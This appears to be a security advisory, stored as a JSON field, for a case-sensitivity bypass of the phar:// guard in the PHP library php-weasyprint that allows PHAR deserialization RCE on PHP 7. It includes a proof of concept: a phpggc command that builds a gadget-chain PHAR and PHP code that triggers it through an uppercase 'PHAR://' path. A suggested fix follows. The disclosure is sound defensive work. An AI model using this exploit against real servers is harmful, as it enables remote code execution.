  "details": "### Summary\n\n`pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist:\n\n```php\nif (0 === \\strpos($filename, \u0027phar://\u0027)) {\n    throw new \\InvalidArgumentException(\u0027The output file cannot be a phar archive.\u0027);\n}\n```\n\nPHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports \u2014 PHP 7.4+), this triggers deserialization of a crafted PHAR archive\u0027s metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115.\n\nThe same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)).\n\n### Affected versions\n\n`pontedilana/php-weasyprint` versions `\u003c= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, \"Implement countermeasures for CVE-2023-28115\").\n\nPatched in: `2.6.0`.\n\n### Privilege required\n\nA caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP \u003c 8.\n\n### Vulnerable code\n\n`src/AbstractGenerator.php`, `prepareOutput()`:\n\n```php\nif (0 === \\strpos($filename, \u0027phar://\u0027)) {\n    throw new \\InvalidArgumentException(\u0027The output file cannot be a phar archive.\u0027);\n}\n```\n\n`strpos($filename, \u0027phar://\u0027)` matches only the exact lowercase string, while the wrapper resolution is case-insensitive \u2014 `PHAR://payload.phar` is not caught.\n\n### Proof of concept\n\n```bash\n# Craft a PHAR with a fast-destruct gadget chain\nphpggc -f Monolog/RCE1 exec \u0027touch /tmp/exploit\u0027 -p phar -o exploit.phar\n```\n\n```php\n\u003c?php\nuse Pontedilana\\PhpWeasyPrint\\Pdf;\n\n$pdf = new Pdf(\u0027/usr/local/bin/weasyprint\u0027);\n// Case-altered wrapper bypasses the lowercase \u0027phar://\u0027 blacklist\n$pdf-\u003egenerateFromHtml(\u0027\u003ch1\u003ePOC\u003c/h1\u003e\u0027, \u0027PHAR://exploit.phar\u0027);\n// On PHP \u003c 8, the PHAR metadata is deserialized -\u003e /tmp/exploit is created\n```\n\n### Impact\n\n- Remote code execution and filesystem access through PHAR metadata deserialization on PHP \u003c 8, when the output filename is attacker-influenced and a PHAR can be planted.\n\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) \u2014 Critical in deployments running PHP 7 with an upload surface; adjust to your environment.\n\nCWE-502 (Deserialization of Untrusted Data).\n\n### Suggested fix\n\nReplace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename:\n\n```php\nprotected const ALLOWED_PROTOCOLS = [\u0027file\u0027];\n\nprotected function isProtocolAllowed(string $filename): bool\n{\n    if (false === $parsed = \\parse_url($filename)) {\n        throw new \\InvalidArgumentException(\u0027The filename is not valid.\u0027);\n    }\n    $protocol = isset($parsed[\u0027scheme\u0027]) ? \\strtolower($parsed[\u0027scheme\u0027]) : \u0027file\u0027;\n    // ...special-case Windows drive letters (C:\\...) as \u0027file\u0027...\n    return \\in_array($protocol, self::ALLOWED_PROTOCOLS, true);\n}\n```\n\n`prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached.\n\n### Credit\n\nOriginal vulnerability and patch-bypass reported upstream to KnpLabs/snappy by R\u00e9mi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.",
